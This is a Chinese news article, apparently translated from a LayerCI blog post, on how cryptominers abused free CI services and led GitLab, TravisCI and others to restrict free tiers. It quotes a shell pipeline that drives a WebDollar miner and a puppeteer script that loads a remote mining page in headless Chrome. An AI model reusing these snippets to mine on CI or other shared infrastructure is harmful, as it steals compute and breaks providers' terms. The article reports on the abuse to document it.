写点什么

加密货币挖矿正在杀死 CI 免费服务

  • 2021-04-27
  • 本文字数:1955 字

    阅读完需:约 6 分钟

加密货币挖矿正在杀死CI免费服务

由于加密货币挖矿攻击,LayerCI、GitLab、TravisCI 以及 Shippable 等等 CI 提供商都在收紧或关闭其免费服务。


2020 年 9 月,GitLab 宣布免费 CI 产品将限制使用;两个月之后,TravisCI 也宣布对“重大滥用”采取类似的限制措施。为什么这些 CI 厂商都会限制免费 CI 产品的使用呢?


深挖其背后原因,我们发现这些变化都与可挖矿加密货币的市值猛增有关。随着加密货币的市值从 2021 年 1 月的 1900 亿美元,激增至 2021 年 4 月的 2 万亿美元,一些企图从可挖矿加密货币获利的不良开发者将目光转向了平台提供商的免费 CI 服务。



加密货币市值激增


加密货币矿工如何在 LayerCI 平台“薅羊毛”?


在 LayerCI 平台,开发者可以通过创建每个分支的预览环境并自动运行端到端测试来构建全栈网站。由于之前,开发者可以在 LayerCI 的服务器上运行任意代码,因此经常有人违反 LayerCI 服务条款来挖掘加密货币。


用户名为“ testronan”的开发者,是 Flask 的狂热用户,他们几乎每一个小时就会提交一次 GitHub 存储库:testronan / MyFirstRepository-Flask。高产的程序员一般都会确保他们的代码能够得到良好的测试,因此我们发现他的存储库包含了五个不同的 CI 服务:TravisCI,CircleCI,GitHub Actions,Wercker 和 LayerCI。


仔细观察他的 CI 任务,我们发现这些 CI 任务看似是在运行 shell 脚本,实际运行的却是“listen.sh”,一个将复杂的 NodeJS 脚本和一些看似随机数结合在一起的 shell 脚本:


(sleep 10; echo 4; sleep 2; echo "tex.webd";sleep 2; echo 7; sleep 1; echo 1; sleep 1; echo "exit"; sleep 2) | stdbuf -oL npm run commands"; sleep 2) | stdbuf -oL npm run commandsundefined
复制代码


拨开迷雾,我们发现 MyFirstRepository-Flask 与 Flask 或 Web 服务器无关,它是将 WebDollars 发送到匿名地址的加密货币挖掘脚本。这些数字对应 WebDollar 的 NodeJS 实现的安装选项。


该存储库不是直接攻击 GitHub,而是滥用 GitHub action 的“ cron”功能来每小时创建一个新提交,并在其他四个 CI 提供程序上挖掘 WebDollars。


接收这些 coin 的两个钱包地址是:


https://www.webdscan.io/address/WEBD%24gBJhmuwat3kvP2@%232E4K2zXX967grh9L43%24


https://www.webdscan.io/address/WEBD%24gCszFRxzuMDbyNXnCXszoB2aIMSuV9kgbb%24


利用浏览器自动化来挖矿


“ vippro99”开发者的做法就没有“testronan”那么巧妙,数十个存储库几乎大部分都与加密货币或浏览器自动化有关。


nodejs-monney 存储库包含了各种脚本,可以通过 Google 流行的 puppeteer 项目启动 chrome 实例。他的逻辑很简单,如果直接在 CI 中挖掘加密货币是很容易被检测到的,而浏览器自动化是 CI 中常见的功能,刚好可以用它来掩盖。


puppeteer.launch({ headless: true, args: ['--no-sandbox', '--disable-setuid-sandbox', '--window-size=500,500', '--user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36' ] }).then(async browser => {  console.log('-- Running chrome!!');  const page = await browser.newPage();  await page.goto('https://vippro99.github.io/-meocoder-nodejs-tool/index.html');  page.on('console', (msg) => console.log(msg.text()));  await page.waitForTimeout(((Math.floor(Math.random() * 6) + 52) * 60) * 1000);  await browser.close();})
复制代码


据悉,该账户目前正在攻击 JFrog 的 Shippable CI 服务。我们在 Shippable 官网看到这样一则通知:“Your Shippable service will expire on May 3rd, 2021.”不知道这个决定是否与加密货币挖矿有关。


“ vippro99”提供的信息表明他们是在越南, 以 Monero 的当前价格,加密货币矿工在 Shippable 上的每个实例每月可以获得 2.5 美元,只需要维护 60 个并发实例就可以与该国的全职薪资相当。

加密货币和 CI 服务商是如何应对“薅羊毛”的?


针对以上这些花样百出的“薅羊毛”操作,加密货币和 CI 服务商是如何应对的呢?


最近,以太坊(Ethereum)宣布计划完全禁用基于计算的挖矿来获取新以太坊的方式,完全转向 proof-of-stake (POS) validation model。


而 CI 服务商的解决办法基本都是收紧或者关闭免费服务。2020 年 10 月 1 日开始,GitLab.com 免费层上每个顶级组(或个人命名空间)的 CI / CD 使用时长减少到每月 400 分钟,超出部分会以每 1000 分钟 10 美元的价格收费,开发者也可以自己升级到付费基本;2020 年 11 月 1 日开始,TravisCI 重新制定了定价规则,对于拥有 1、2、或 5 个并发计划的构建定价不变,基于 macOS 构建者的需要额外购买附加组件,同时也发布了新的基于使用情况的定价规则。


参考链接:

https://layerci.com/blog/crypto-miners-are-killing-free-ci/

2021-04-27 16:134019

评论

发布
暂无评论
发现更多内容

用户级协议和框架:DPDK、SPDK和VPP的业务场景和发展趋势

统信软件

产教融合 | 力软联合重庆科技学院开展低代码应用开发培训

力软低代码开发平台

NFTScan 正式上线 TON NFTScan 浏览器!

NFT Research

NFT\

企业文件传输遇到的问题与解决方案

镭速

大文件传输 数据文件传输

安全检测演进,AIGC融合模糊测试开启新时代

云起无垠

网路安全

使用融云 CallPlus SDK,一小时实现一款 1V1 视频应用

融云 RongCloud

android 音视频 通信 API CallPlus SDK

多场景PAI-Diffusion中文模型家族大升级,12个模型、2个工具全部开源

阿里云大数据AI技术

人工智能 阿里云

两行代码实现Redis消息队列,简单易用

高端章鱼哥

redis 消息列队

软件测试/测试开发丨学会与 AI 对话,高效提升学习效率

测试人

人工智能 AI 软件测试 ChatGPT

HiAI Foundation助力端侧音视频AI能力,高性能低功耗释放云侧成本

HarmonyOS SDK

huawei HarmonyOS

什么是网络营销?做网络营销怎么用代理IP?

巨量HTTP

IP

跟单交易所开发,合约跟单交易系统开发

V\TG【ch3nguang】

XMind for mac (XMind思维导图)v23.08中文激活版

mac

XMind 思维导图软件 苹果mac Windows软件

中国智能卡车“遥遥领先”:卡车NOA落地5000万公里0事故,全球首个

Openlab_cosmoplat

人工智能 自动驾驶

lrc下载安装 图像处理软件Lightroom Classic 2023 mac中文激活版

mac

图像处理软件 苹果mac Windows软件 lrc2023 Lightroom Classic

ShutdownHook妙用

FunTester

矩视快问快答

矩视智能

机器视觉 深度学习、

数据艺术,成就科学现代的全面预算管理模式

智达方通

数据分析 数据驱动 智达方通 数据叙事

【玩转鲲鹏 DevKit系列】如何快速迁移无源码应用?

华为云开发者联盟

后端 开发 华为云 华为云开发者联盟 企业号9月PK榜

十种数据库缓存相关的技术和机制

树上有只程序猿

数据库

Mac电脑十六进制编辑器 010 Editor 激活永久版

胖墩儿不胖y

代码编辑器 Mac软件

关于Taro你需要了解这些

Onegun

小程序 taro 小程序架构

传统大数据迁移遇到的问题与解决方案

镭速

大数据迁移

Vue 和 React 前端框架的比较

高端章鱼哥

Vue React

GaussDB技术解读系列丨运维自动驾驶探索

华为云开发者联盟

数据库 后端 华为云 华为云开发者联盟 企业号9月PK榜

数据库重构之路,以 OrientDB 到 NebulaGraph 为例

NebulaGraph

数据库

腾讯云生态以退为进,让「半条命」撑起「半边天」

ToB行业头条

在对接自有账户体系时,FinClip 是怎么做的?

Onegun

用户 账户管理 账户体系

12个强大的 JavaScript 动画库,可帮助你提升用户体验

互联网工科生

JavaScript 动画库

软件开发文档大全(项目管理、开发、实施、交付、评审、投标支撑)

金陵老街

Vue java;

加密货币挖矿正在杀死CI免费服务_服务革新_田晓旭_InfoQ精选文章